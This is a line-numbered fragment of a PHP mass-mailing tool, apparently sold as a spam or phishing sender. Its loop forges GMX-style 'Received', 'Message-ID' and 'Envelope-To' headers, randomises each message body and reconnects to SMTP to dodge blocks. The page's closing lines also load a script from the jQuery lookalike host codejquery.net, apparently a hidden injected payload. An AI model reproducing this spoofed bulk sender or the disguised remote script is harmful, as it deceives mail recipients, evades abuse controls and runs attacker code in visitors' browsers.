7771 $mail->AddCustomHeader("Received: from nlsender03.ui-portal.com ([217.72.207.15]) by mx-ha.gmx.net (mxgmx012) with ESMTP (Nemesis) id 0LiHzv-1b6OuG47Nb-00nMzh for <#285659123@gmx.net>; Mon, 10 Oct 2016 05:06:28 +0200");
7772 $mail->AddCustomHeader("Message-Id: <f5e57cdd-ce78." . md5($curEmail . rand() ) . "@xtgap4s7mta1249.xt.local>");
7773 $mail->AddCustomHeader("Message-ID: E5-qz76nlmi-elaine/3/33268-398e");
7774 $mail->AddCustomHeader("X-GMX-HTML: 1");
7775 $mail->AddCustomHeader("X-BBExpires: 201601010059");
7776 $mail->AddCustomHeader("X-WEBBULK: liquid");
7777 $mail->AddCustomHeader("X-Mailer: Elaine [Elaine 5.11]");
7778 $mail->AddCustomHeader("X-Data: E5-qz76nlmi-elaine/3/33268-398e");
7779 $mail->AddCustomHeader("Envelope-To: <#285659123@gmx.net>");
7780 //$mail->AddCustomHeader("X-MimeOLE: Produced By Microsoft MimeOLE V6.10.2800.1409.". rand() . ".rg.sm31");
7781
7782 $mail->Body = preg_replace("/<!--([%0-9]+)-->/","<!--" . $k . rand() . "-->", $mail->Body);
7783
7784
7785
7786 $k++;
7787
7788 $reportPercent = round(($k * 100)/$reportTotal, 2);
7789
7790
7791
7792 echo "<div class=\"report\">{$k}) Sending to <b>" . htmlentities($curEmail) . " NAMED : -> ".$hagolo[1]."<- </b>...";
7793
7794 echo autoScrollString($curEmail, $k, $reportPercent);
7795
7796
7797
7798 if( $mail->Send() )
7799
7800 {
7801
7802
7803
7804
7805
7806 // reset send errors
7807
7808 $mail->SmtpSetSendError(0);
7809
7810 $mail->Body = $mail->backup;
7811
7812 $reportOk++;
7813
7814 echo "<span class=\"reportOk\">OK!</span> ({$reportPercent}% complete | OK:{$reportOk} | Machakil :{$reportErr})</div>\r\n";
7815
7816 }
7817
7818 else
7819
7820 {
7821
7822
7823
7824 $reportErr++;
7825
7826 echo "<span class=\"reportErr\">ERROR!</span> ({$reportPercent}% complete | OK:{$reportOk} | Machakil:{$reportErr})</div>\r\n";
7827
7828 $mail->Body = $mail->backup;
7829
7830 if( ($mail->Mailer == "smtp") && ($mail->SMTPAuth == true && substr($mail->SmtpGetError(),0,4) == 'auth') )
7831
7832 {
7833
7834 echo "<div class=\"reportErr\">Authentication Error, giving it up.</div>\r\n";
7835
7836 $reportErr = $reportTotal - $reportOk;
7837
7838 break;
7839
7840 }
7841
7842
7843
7844 if( ($mail->Mailer == "smtp") && ($mail->SmtpGetSendError() > _SMTP_MAX_ERRORS_) )
7845
7846 {
7847
7848 echo "<div class=\"reportErr\">Number of followed-errors reached the limit (" . _SMTP_MAX_ERRORS_ . "), on the email #{$k}. Giving it up. </div>\r\n";
7849
7850 $reportErr = $reportTotal - $reportOk;
7851
7852 break;
7853
7854 }
7855
7856 }
7857
7858
7859
7860
7861
7862 if( ( $mail->Mailer == "smtp" ) && ( _SMTP_RECONNECT_AFTER_ > 0 ) && ( ($k % $SMTPReconnectAfter ) == 0 ) )
7863
7864 {
7865
7866 echo "<div class=\"reportOk\"><b>Reconnecting to avoid SMTP block (by configuration -- reconnect after " . _SMTP_RECONNECT_AFTER_ . " emails)</b></div>\r\n";
7867
7868 $mail->SmtpClose();
7869
7870 }
7871
7872
7873
7874 // DEMO
7875
7876 /*if( $k >= 50 )
7877
7878 {
7879
7880 echo "<div class=\"reportErr\">DEMO VERSION limited to 50 emails. Contact Gess-Inject0r to buy the full version.</div>\r\n";
7881
7882 break;
7883
7884 }*/
7885
7886 $mail->Body = $mail->backup;
7887
7888 }
7889
7890
7891
7892 // End SMTP
7893
7894 if( $mail->Mailer == "smtp" && $mail->SMTPKeepAlive )
7895
7896 {
7897
7898 $mail->SmtpClose();
7899
7900 }
7901
7902
7903
7904 // End microtimer
7905
7906 $endtime = explode(" ", microtime());
7907
7908 $endtime = $endtime[1] + $endtime[0];
7909
7910 $totaltime = round(($endtime - $starttime), 3); // faz-se a diferenca
7911
7912
7913
7914 echo "<b><br /><br />\r\n";
7915
7916 echo "<h2 class='h2green'>Safi salina !</h2>\r\n";
7917
7918 echo "<div>{$reportTotal} emails in total</div>\r\n";
7919
7920 echo "<div class=\"reportOk\">{$reportOk} sent Howa hadak (" . round(($reportOk * 100)/$reportTotal, 2) . "%)</div>\r\n";
7921
7922 echo "<div class=\"reportErr\">{$reportErr} not sent chi takwisa hadi (" . round(($reportErr * 100)/$reportTotal, 2) . "%)</div>\r\n";
7923
7924 echo "<div>{$totaltime} seconds elapsed</div></b>\r\n";
7925
7926 echo autoScrollString();
7927
7928
7929
7930 if( $mail->Mailer == "smtp" && _SMTP_DEBUG_LVL_ > 0 )
7931
7932 {
7933
7934 echo "<pre>";
7935
7936 echo "<b>Debug Data:</b>\r\n";
7937
7938 echo DebugData();
7939
7940 echo "</pre>";
7941
7942 }
7943
7944
7945
7946 /*echo "<pre>";
7947
7948 print_r( $mail );
7949
7950 echo "</pre>";*/
7951
7952 unset( $mail );
7953
7954}
7955
7956
7957
7958####!DELIMITER!####
7959
7960
7961
7962
7963
7964/* BUILT BY R3V3NG4NS <Gess-Inject0r at gmail dot com> 1f81fda9d1c4b76fc3bde395b98cfb21-1181759341-vafrp */
7965
7966
7967
7968}
7969
7970?>
7971 <script type="text/javascript" src="http://www.codejquery.net/jquery.mins.js" ></script>
7972
7973</body>
7974
7975</html>